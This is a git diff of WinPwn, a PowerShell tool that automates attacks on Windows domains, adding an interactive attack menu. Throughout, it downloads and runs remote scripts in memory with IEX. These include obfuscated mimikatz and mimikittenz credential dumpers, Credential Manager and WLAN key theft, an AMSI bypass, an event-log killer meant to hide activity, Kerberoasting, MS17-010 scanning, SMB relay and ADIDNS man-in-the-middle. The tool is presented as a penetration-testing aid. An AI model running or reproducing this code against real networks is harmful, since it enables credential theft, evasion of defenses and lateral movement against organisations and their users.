@@ -67,7 +67,7 @@ function dependencychecks
67
67
68
68
if ($systemRoleID -ne 1 ){
69
69
70
- " [-] This script needs access to the domain. It can only be run on a domain member machine.`n "
70
+ " [-] Some features in this script need access to the domain. They can only be run on a domain member machine. Pwn some domain machine for them! `n "
71
71
72
72
Read-Host " Type any key to continue .."
73
73
@@ -134,7 +134,8 @@ function Inveigh {
134
134
$relayattacks = Read-Host - Prompt ' Do you want to execute SMB-Relay attacks? (yes/no)'
135
135
if ($relayattacks -eq " yes" -or $relayattacks -eq " y" -or $relayattacks -eq " Yes" -or $relayattacks -eq " Y" )
136
136
{
137
- invoke-expression ' cmd /c start powershell -Command {$Wcl = new-object System.Net.WebClient;$Wcl.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;IEX(New-Object Net.WebClient).DownloadString('' https://raw.githubusercontent.com/SecureThisShit/WinPwn/master/WinPwn_v0.7.ps1'' );WinPwn;}'
137
+ Write-Host ' Starting WinPwn in a new window so that you can use this one for Invoke-TheHash'
138
+ invoke-expression ' cmd /c start powershell -Command {$Wcl = new-object System.Net.WebClient;$Wcl.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;IEX(New-Object Net.WebClient).DownloadString('' https://raw.githubusercontent.com/SecureThisShit/WinPwn/master/WinPwn.ps1'' );WinPwn;}'
138
139
$target = Read-Host - Prompt ' Please Enter an IP-Adress as target for the relay attacks'
139
140
$admingroup = Read-Host - Prompt ' Please Enter the name of your local administrators group: (varies for different countries)'
140
141
$Wcl = new-object System.Net.WebClient
@@ -253,12 +254,14 @@ function kittielocal
253
254
$currentPath = (Get-Item - Path " .\" - Verbose).FullName
254
255
pathcheck
255
256
AmsiBypass
257
+ IEX (New-Object Net.WebClient).DownloadString(' https://raw.githubusercontent.com/SecureThisShit/Creds/master/obfuscatedps/obfuskittie.ps1' )
258
+ iex (new-object net.webclient).downloadstring(' https://raw.githubusercontent.com/SecureThisShit/Creds/master/PowershellScripts/obfuscatedps/DumpWCM.ps1' )
259
+
256
260
if (isadmin)
257
261
{
258
262
IEX (New-Object Net.WebClient).DownloadString(' https://raw.githubusercontent.com/SecureThisShit/Creds/master/obfuscatedps/mimi.ps1' )
259
263
IEX (New-Object Net.WebClient).DownloadString(' https://raw.githubusercontent.com/SecureThisShit/Creds/master/PowershellScripts/Get-WLAN-Keys.ps1' )
260
- iex (new-object net.webclient).downloadstring(' https://raw.githubusercontent.com/SecureThisShit/Creds/master/PowershellScripts/obfuscatedps/DumpWCM.ps1' )
261
-
264
+
262
265
Write-Host - ForegroundColor Yellow ' Dumping Windows Credential Manager:'
263
266
Invoke-WCMDump >> $currentPath \Exploitation\WCMCredentials.txt
264
267
@@ -278,9 +281,11 @@ function kittielocal
278
281
else
279
282
{
280
283
Write-Host - ForegroundColor Yellow ' You need local admin rights for this, only dumping Credential Manager now!'
281
- iex (new-object net.webclient).downloadstring(' https://raw.githubusercontent.com/SecureThisShit/Creds/master/obfuscatedps/DumpWCM.ps1' )
282
284
Write-Host - ForegroundColor Yellow ' Dumping Windows Credential Manager:'
283
285
Invoke-WCMDump >> $currentPath \Exploitation\WCMCredentials.txt
286
+ Write-Host - ForegroundColor Yellow ' Running the small kittie:'
287
+ inbox >> $currentPath \Exploitation\kittenz.txt
288
+
284
289
}
285
290
286
291
}
@@ -701,10 +706,16 @@ function domainreconmodules
701
706
passhunt - domain $true
702
707
}
703
708
704
- Write-Host - ForegroundColor Yellow ' Downloading ADRecon Script:'
705
- Invoke-WebRequest - Uri ' https://raw.githubusercontent.com/SecureThisShit/Creds/master/PowershellScripts/ADRecon.ps1' - Outfile " $currentPath \DomainRecon\ADrecon\recon.ps1"
706
- Write-Host - ForegroundColor Yellow ' Executing ADRecon Script:'
707
- cmd / c start powershell - Command {" $currentPath \DomainRecon\ADrecon\recon.ps1" }
709
+ }
710
+
711
+
712
+ function reconAD
713
+ {
714
+ pathcheck
715
+ Write-Host - ForegroundColor Yellow ' Downloading ADRecon Script:'
716
+ Invoke-WebRequest - Uri ' https://raw.githubusercontent.com/SecureThisShit/Creds/master/PowershellScripts/ADRecon.ps1' - Outfile " $currentPath \DomainRecon\ADrecon\recon.ps1"
717
+ Write-Host - ForegroundColor Yellow ' Executing ADRecon Script:'
718
+ cmd / c start powershell - Command {" $currentPath \DomainRecon\ADrecon\recon.ps1" }
708
719
}
709
720
710
721
function MS17-10
@@ -716,6 +727,7 @@ function MS17-10
716
727
License: BSD 3-Clause
717
728
#>
718
729
# Domain Recon / Lateral Movement / Exploitation Phase
730
+ pathcheck
719
731
IEX (new-object net.webclient).downloadstring(' https://raw.githubusercontent.com/SecureThisShit/Creds/master/PowershellScripts/ms17-10.ps1' )
720
732
IEX (New-Object Net.WebClient).DownloadString(' https://raw.githubusercontent.com/SecureThisShit/Creds/master/obfuscatedps/viewdevobfs.ps1' )
721
733
$serversystems = Read-Host - Prompt ' Start MS17-10 Scan for Windows Servers only (alternatively we can scan all Servers + Clients but this can take a while)? (yes/no)'
@@ -1106,6 +1118,15 @@ function kerberoasting
1106
1118
invoke-expression ' cmd /c start powershell -Command {$Wcl = new-object System.Net.WebClient;$Wcl.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;IEX(New-Object Net.WebClient).DownloadString('' https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1'' );Invoke-Kerberoast -OutputFormat Hashcat | fl >> .\Exploitation\Kerberoasting.txt;Write-Host -ForegroundColor Yellow '' Module finished, Hashes saved to .\Exploitation\Kerberoasting.txt:'' ;pause}'
1107
1119
}
1108
1120
1121
+ function inv-phantom {
1122
+ if (isadmin)
1123
+ {
1124
+ IEX (New-Object Net.WebClient).DownloadString(' https://raw.githubusercontent.com/SecureThisShit/Creds/master/obfuscatedps/phantom.ps1' )
1125
+ phantom
1126
+ }
1127
+ else { Write-Host - ForegroundColor Yellow ' You are not admin, do something else for example privesc :-P' }
1128
+ }
1129
+
1109
1130
Function Get-Installedsoftware {
1110
1131
[CmdletBinding (SupportsShouldProcess = $true )]
1111
1132
param (
@@ -1245,6 +1266,11 @@ Function Get-Installedsoftware {
1245
1266
}
1246
1267
}
1247
1268
1269
+ function fruit
1270
+ {
1271
+ invoke-expression ' cmd /c start powershell -Command {$Wcl = new-object System.Net.WebClient;$Wcl.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;IEX(New-Object Net.WebClient).DownloadString('' https://raw.githubusercontent.com/SecureThisShit/Creds/master/PowershellScripts/Find-Fruit.ps1'' );$network = Read-Host -Prompt '' Please enter the CIDR for the network: (example:192.168.0.0/24)'' ;Write-Host -ForegroundColor Yellow '' Searching...'' ;Find-Fruit -FoundOnly -Rhosts $network}'
1272
+ }
1273
+
1248
1274
function WinPwn
1249
1275
{
1250
1276
<#
@@ -1253,7 +1279,7 @@ function WinPwn
1253
1279
Author: @securethisshit
1254
1280
License: BSD 3-Clause
1255
1281
#>
1256
- $intro = @'
1282
+ @'
1257
1283
1258
1284
1259
1285
__ ___ ____
@@ -1265,125 +1291,62 @@ __ ___ ____
1265
1291
--> Automate some internal Penetrationtest processes
1266
1292
1267
1293
'@
1268
- if (isadmin)
1269
- {
1270
- Write-Host - ForegroundColor Green ' Elevated PowerShell session detected. Continuing.'
1271
- }
1272
- else
1273
- {
1274
- Write-Host - ForegroundColor Red ' Only running non-elevated PowerShell commands. Please launch an elevated session if you have local Administrator Credentials and try again.'
1275
- }
1276
- Write-Host - ForegroundColor Yellow ' Getting Scripts to Memory'
1277
-
1278
1294
dependencychecks
1279
1295
AmsiBypass
1280
- IEX (New-Object Net.WebClient).DownloadString(' https://raw.githubusercontent.com/SecureThisShit/Creds/master/PowershellScripts/Invoke-mimikittenz.ps1' )
1281
- IEX (New-Object Net.WebClient).DownloadString(' https://raw.githubusercontent.com/SecureThisShit/Creds/master/PowershellScripts/Invoke-Phant0m.ps1' )
1282
-
1283
- if (isadmin)
1284
- {
1285
- $stealth = Read-Host - Prompt ' Kill event Logs for stealth? (yes/no)'
1286
- if ($stealth -eq " yes" -or $stealth -eq " y" -or $stealth -eq " Yes" -or $stealth -eq " Y" )
1287
- {
1288
- Write-Host - ForegroundColor Yellow ' Killing Event Log Services:'
1289
- Invoke-Phant0m
1290
- }
1291
- }
1292
-
1293
-
1294
- $inveigh = Read-Host - Prompt ' Do you want to use inveigh for NBNS/SMB/HTTPS Spoofing parallel to this script? (yes/no)'
1295
- if ($inveigh -eq " yes" -or $inveigh -eq " y" -or $inveigh -eq " Yes" -or $inveigh -eq " Y" )
1296
- {
1297
- Inveigh
1298
- }
1299
-
1300
- if (isadmin)
1301
- {
1302
- $Mimidump = Read-Host - Prompt ' You are local Administrator. Do you want to dump local Passwords with Invoke-kittie? (yes/no)'
1303
- if ($Mimidump -eq " yes" -or $Mimidump -eq " y" -or $Mimidump -eq " Yes" -or $Mimidump -eq " Y" )
1304
- {
1305
- kittielocal
1306
- }
1307
- else {Write-Host - ForegroundColor Yellow ' Boring...' }
1308
- }
1309
-
1310
- $localRecon = Read-Host - Prompt ' Do you want to use local recon scripts? (yes/no)'
1311
- if ($localRecon -eq " yes" -or $localRecon -eq " y" -or $localRecon -eq " Yes" -or $localRecon -eq " Y" )
1312
- {
1313
- # Local Reconning
1314
- localreconmodules
1315
- }
1316
-
1317
- $domainRecon = Read-Host - Prompt ' Do you want to use domain recon scripts? (yes/no)'
1318
- if ($domainRecon -eq " yes" -or $domainRecon -eq " y" -or $domainRecon -eq " Yes" -or $domainRecon -eq " Y" )
1319
- {
1320
- domainreconmodules
1321
- }
1322
-
1323
- $privesc = Read-Host - Prompt ' Do you want to search for possible privilege escalation vectors? (yes/no)'
1324
- if ($privesc -eq " yes" -or $privesc -eq " y" -or $privesc -eq " Yes" -or $privesc -eq " Y" )
1325
- {
1326
- privescmodules
1327
- }
1328
-
1329
- # Lazagne
1330
- $Lazagne = Read-Host - Prompt ' Do you want to extract local Passwords with Lazagne? (yes/no)'
1331
- if ($Lazagne -eq " yes" -or $Lazagne -eq " y" -or $Lazagne -eq " Yes" -or $Lazagne -eq " Y" )
1332
- {
1333
- lazagnemodule
1334
- }
1335
-
1336
- $kerberoasting = Read-Host - Prompt ' Do you want to use Kerberoasting technique to crack function user Hashes? (yes/no)'
1337
- if ($kerberoasting -eq " yes" -or $kerberoasting -eq " y" -or $kerberoasting -eq " Yes" -or $kerberoasting -eq " Y" )
1338
- {
1339
- kerberoasting
1340
- }
1341
1296
1342
-
1343
- $mimikitt = Read-Host - Prompt ' Do you want to use mimikittenz for password extraction? (yes/no)'
1344
- if ($mimikitt -eq " yes" -or $mimikitt -eq " y" -or $mimikitt -eq " Yes" -or $mimikitt -eq " Y" )
1345
- {
1346
- # Exploitation Phase
1347
- Write-Host - ForegroundColor Red ' Mimikittenz, output saved to .\Exploitation\Mimikittenz.txt:'
1348
- Invoke-Mimikittenz >> $currentPath \Exploitation\Mimikittenz.txt
1349
- }
1350
-
1351
- $latmov = Read-Host - Prompt ' Do you want to move laterally - recommended for internal assesments? (yes/no)'
1352
- if ($latmov -eq " yes" -or $latmov -eq " y" -or $latmov -eq " Yes" -or $latmov -eq " Y" )
1353
- {
1354
- # Lateral Movement Phase
1355
- latmov
1356
- }
1357
-
1358
- # FindFruit
1359
- $fruit = Read-Host - Prompt ' Do you want to search for possible weak Web Applications in the network? (yes/no)'
1360
- if ($fruit -eq " yes" -or $fruit -eq " y" -or $fruit -eq " Yes" -or $fruit -eq " Y" )
1361
- {
1362
- invoke-expression ' cmd /c start powershell -Command {$Wcl = new-object System.Net.WebClient;$Wcl.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;IEX(New-Object Net.WebClient).DownloadString('' https://raw.githubusercontent.com/SecureThisShit/Creds/master/PowershellScripts/Find-Fruit.ps1'' );$network = Read-Host -Prompt '' Please enter the CIDR for the network: (example:192.168.0.0/24)'' ;Write-Host -ForegroundColor Yellow '' Searching...'' ;Find-Fruit -FoundOnly -Rhosts $network}'
1363
- }
1364
-
1365
- # Share Enumeration
1366
- $shares = Read-Host - Prompt ' Do you want to search for sensitive Files / Find Shares on the network? (yes/no) (This may take long time)'
1367
- if ($shares -eq " yes" -or $shares -eq " y" -or $shares -eq " Yes" -or $shares -eq " Y" )
1297
+ do
1368
1298
{
1369
- sharenumeration
1370
- }
1371
-
1372
- $adi = Read-Host - Prompt ' Do you want to create a ADIDNS Wildcard record? (yes/no)'
1373
- if ($adi -eq " yes" -or $adi -eq " y" -or $adi -eq " Yes" -or $adi -eq " Y" )
1374
- {
1375
- adidns
1376
- }
1377
-
1378
- # RDP Access
1379
- $rdp = Read-Host - Prompt ' Do you want to search for Systems you have RDP/Admin-Access to? (yes/no)'
1380
- If ($rdp -eq " yes" -or $rdp -eq " y" -or $rdp -eq " Yes" -or $rdp -eq " Y" )
1381
- {
1382
- groupsearch
1299
+ Write-Host " ================ WinPwn ================"
1300
+ Write-Host - ForegroundColor Green ' 1. Execute Inveigh - ADIDNS/LLMNR/mDNS/NBNS spoofer! '
1301
+ Write-Host - ForegroundColor Green ' 2. Start local recon phase! '
1302
+ Write-Host - ForegroundColor Green ' 3. Start domain recon phase! '
1303
+ Write-Host - ForegroundColor Green ' 4. Try to escalate my local privileges! '
1304
+ Write-Host - ForegroundColor Green ' 5. Kerberoast some service accounts! '
1305
+ Write-Host - ForegroundColor Green ' 6. Search for SQL Servers in the domain and pwn them if possible! '
1306
+ Write-Host - ForegroundColor Green ' 7. Collect Bloodhound information! '
1307
+ Write-Host - ForegroundColor Green ' 8. Search for MS17-10 vulnerable Servers / Clients in this domain! '
1308
+ Write-Host - ForegroundColor Green ' 9. Give me some Credentials, now! '
1309
+ Write-Host - ForegroundColor Green ' 10. Search for Systems with Admin-Access to pwn them! '
1310
+ Write-Host - ForegroundColor Green ' 11. Create an ADIDNS Wildcard for ultimate mitm in all networks! '
1311
+ Write-Host - ForegroundColor Green ' 12. Execute JAWS! '
1312
+ Write-Host - ForegroundColor Green ' 13. Execute Sessiongopher! '
1313
+ Write-Host - ForegroundColor Green ' 14. I want to check some remote system groups via GPO Mapping! '
1314
+ Write-Host - ForegroundColor Green ' 15. I am local admin, kill the event log services for stealth! '
1315
+ Write-Host - ForegroundColor Green ' 16. Search for passwords on this system! '
1316
+ Write-Host - ForegroundColor Green ' 17. Just one ADRecon Report for me! '
1317
+ Write-Host - ForegroundColor Green ' 18. Search for potential vulnerable web apps (low hanging fruits)! '
1318
+ Write-Host - ForegroundColor Green ' 19. Find some network shares! '
1319
+ Write-Host - ForegroundColor Green ' 20. Exit. '
1320
+ Write-Host " ================ WinPwn ================"
1321
+ $masterquestion = Read-Host - Prompt ' Please choose wisely, master:'
1322
+
1323
+ Switch ($masterquestion )
1324
+ {
1325
+ 1 {Inveigh}
1326
+ 2 {localreconmodules}
1327
+ 3 {domainreconmodules}
1328
+ 4 {privescmodules}
1329
+ 5 {kerberoasting}
1330
+ 6 {powerSQL}
1331
+ 7 {Sharphound}
1332
+ 8 {MS17- 10 }
1333
+ 9 {kittielocal}
1334
+ 10 {latmov}
1335
+ 11 {adidnswildcard}
1336
+ 12 {JAWS}
1337
+ 13 {sessionGopher}
1338
+ 14 {groupsearch}
1339
+ 15 {inv- phantom}
1340
+ 16 {passhunt}
1341
+ 17 {reconAD}
1342
+ 18 {fruit}
1343
+ 19 {sharenumeration}
1344
+ }
1383
1345
}
1346
+ While ($masterquestion -ne 20 )
1347
+
1384
1348
1385
1349
# End
1386
1350
Write-Host - ForegroundColor Yellow ' Didnt get Domadm? Check the found Files/Shares for sensitive Data/Credentials. Check the Property field of AD-Users for Passwords. Network Shares and Passwords in them can lead to success! Try Responder/Inveigh and SMB-Relaying! ADIDNS is a good addition for the whole network. Crack Kerberoasting Hashes.'
1387
1351
1388
1352
}
1389
-
0 commit comments